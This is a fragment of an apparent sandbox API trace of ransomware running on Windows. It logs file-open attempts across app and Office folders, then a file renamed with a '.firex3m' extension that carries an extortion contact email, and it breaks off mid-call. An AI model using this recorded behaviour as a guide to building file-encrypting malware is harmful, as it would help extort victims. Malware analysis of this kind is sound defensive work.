files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.weather.tile.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.374] Sleep (dwMilliseconds=0x1) [0261.400] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf", len=0x8c | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf") returned 1 [0261.400] GetProcessHeap () returned 0x630000 [0261.400] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e74) returned 0x6fe3bb0 [0261.401] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\WeatherColorIcons.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\weathercoloricons.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.401] Sleep (dwMilliseconds=0x1) [0262.935] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-100.png", len=0x86 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-100.png") returned 1 [0262.935] GetProcessHeap () returned 0x630000 [0262.935] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4db8) returned 0x6fe3bb0 [0262.935] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\basewidetile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.938] Sleep (dwMilliseconds=0x1) [0262.951] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-100.png", len=0x93 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-100.png") returned 1 [0262.951] GetProcessHeap () returned 0x630000 [0262.951] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4da8) returned 0x6fe3bb0 [0262.951] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail2MedTileThin.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\basevoicemail2medtilethin.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.953] Sleep (dwMilliseconds=0x1) [0262.965] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-100.png", len=0x95 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-100.png") returned 1 [0262.965] GetProcessHeap () returned 0x630000 [0262.965] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4da4) returned 0x6fe3bb0 [0262.965] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\basevoicemail1smalltilethin.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.969] Sleep (dwMilliseconds=0x1) [0262.982] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-100.png", len=0x87 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-100.png") returned 1 [0262.982] GetProcessHeap () returned 0x630000 [0262.982] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d98) returned 0x6fe3bb0 [0262.982] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\basesmalltile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.986] Sleep (dwMilliseconds=0x1) [0262.997] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-100.png", len=0x89 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-100.png") returned 1 [0262.997] GetProcessHeap () returned 0x630000 [0262.997] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d94) returned 0x6fe3bb0 [0262.997] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseMedTileThin.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\basemedtilethin.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.005] Sleep (dwMilliseconds=0x1) [0263.012] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseAppList.scale-100.png", len=0x85 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseAppList.scale-100.png") returned 1 [0263.012] GetProcessHeap () returned 0x630000 [0263.012] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d8c) returned 0x6fe3bb0 [0263.012] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\BaseAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\baseapplist.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.014] Sleep (dwMilliseconds=0x1) [0263.029] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-100.png", len=0x8c | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-100.png") returned 1 [0263.029] GetProcessHeap () returned 0x630000 [0263.029] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d80) returned 0x6fe3bb0 [0263.029] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\base1smalltilethin.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.030] Sleep (dwMilliseconds=0x1) [0263.044] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\91.png", len=0x79 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\91.png") returned 1 [0263.044] GetProcessHeap () returned 0x630000 [0263.044] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d78) returned 0x6fe3bb0 [0263.045] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\91.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\91.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.048] Sleep (dwMilliseconds=0x1) [0263.059] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\9.png", len=0x78 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\9.png") returned 1 [0263.059] GetProcessHeap () returned 0x630000 [0263.059] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d74) returned 0x6fe3bb0 [0263.059] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\9.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\9.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.061] Sleep (dwMilliseconds=0x1) [0263.077] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\7.png", len=0x78 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\7.png") returned 1 [0263.077] GetProcessHeap () returned 0x630000 [0263.077] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d68) returned 0x6fe3bb0 [0263.077] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\7.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\7.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.079] Sleep (dwMilliseconds=0x1) [0263.090] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\69.png", len=0x79 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\69.png") returned 1 [0263.090] GetProcessHeap () returned 0x630000 [0263.090] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d64) returned 0x6fe3bb0 [0263.090] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\69.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\69.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.092] Sleep (dwMilliseconds=0x1) [0263.107] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\6.png", len=0x78 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\6.png") returned 1 [0263.107] GetProcessHeap () returned 0x630000 [0263.107] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d58) returned 0x6fe3bb0 [0263.108] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\6.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\6.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.108] Sleep (dwMilliseconds=0x1) [0263.122] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\50.png", len=0x79 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\50.png") returned 1 [0263.123] GetProcessHeap () returned 0x630000 [0263.123] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d50) returned 0x6fe3bb0 [0263.123] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\50.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\50.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.125] Sleep (dwMilliseconds=0x1) [0263.137] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\5.png", len=0x78 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\5.png") returned 1 [0263.137] GetProcessHeap () returned 0x630000 [0263.137] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d4c) returned 0x6fe3bb0 [0263.137] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\5.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\5.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.139] Sleep (dwMilliseconds=0x1) [0263.154] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\28.png", len=0x79 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\28.png") returned 1 [0263.155] GetProcessHeap () returned 0x630000 [0263.155] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d40) returned 0x6fe3bb0 [0263.155] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\28.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\28.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.157] Sleep (dwMilliseconds=0x1) [0263.169] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\27.png", len=0x79 | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\27.png") returned 1 [0263.169] GetProcessHeap () returned 0x630000 [0263.169] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d3c) returned 0x6fe3bb0 [0263.169] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\27.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\27.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.176] Sleep (dwMilliseconds=0x1) [0263.190] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\204.png", len=0x7a | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\204.png") returned 1 [0263.190] GetProcessHeap () returned 0x630000 [0263.190] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d30) returned 0x6fe3bb0 [0263.190] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\204.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\204.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.193] Sleep (dwMilliseconds=0x1) [0263.200] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\203.png", len=0x7a | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\203.png") returned 1 [0263.200] GetProcessHeap () returned 0x630000 [0263.200] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d2c) returned 0x6fe3bb0 [0263.200] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\203.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\203.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.202] Sleep (dwMilliseconds=0x1) [0263.217] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\198.png", len=0x7a | out: pbstr=0x357ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\198.png") returned 1 [0263.217] GetProcessHeap () returned 0x630000 [0263.218] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d14) returned 0x6fe3bb0 [0263.218] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\198.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\198.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.219] Sleep (dwMilliseconds=0x1) [0264.573] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\PREVIEW.GIF", len=0x6d | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\PREVIEW.GIF") returned 1 [0264.573] GetProcessHeap () returned 0x630000 [0264.573] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c34) returned 0x6fe3bb0 [0264.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0264.690] CloseHandle (hObject=0x6a8) returned 1 [0264.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.359] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.359] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x63005b, dwReserved1=0x6e006f, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d53c0 [0265.359] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0265.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft 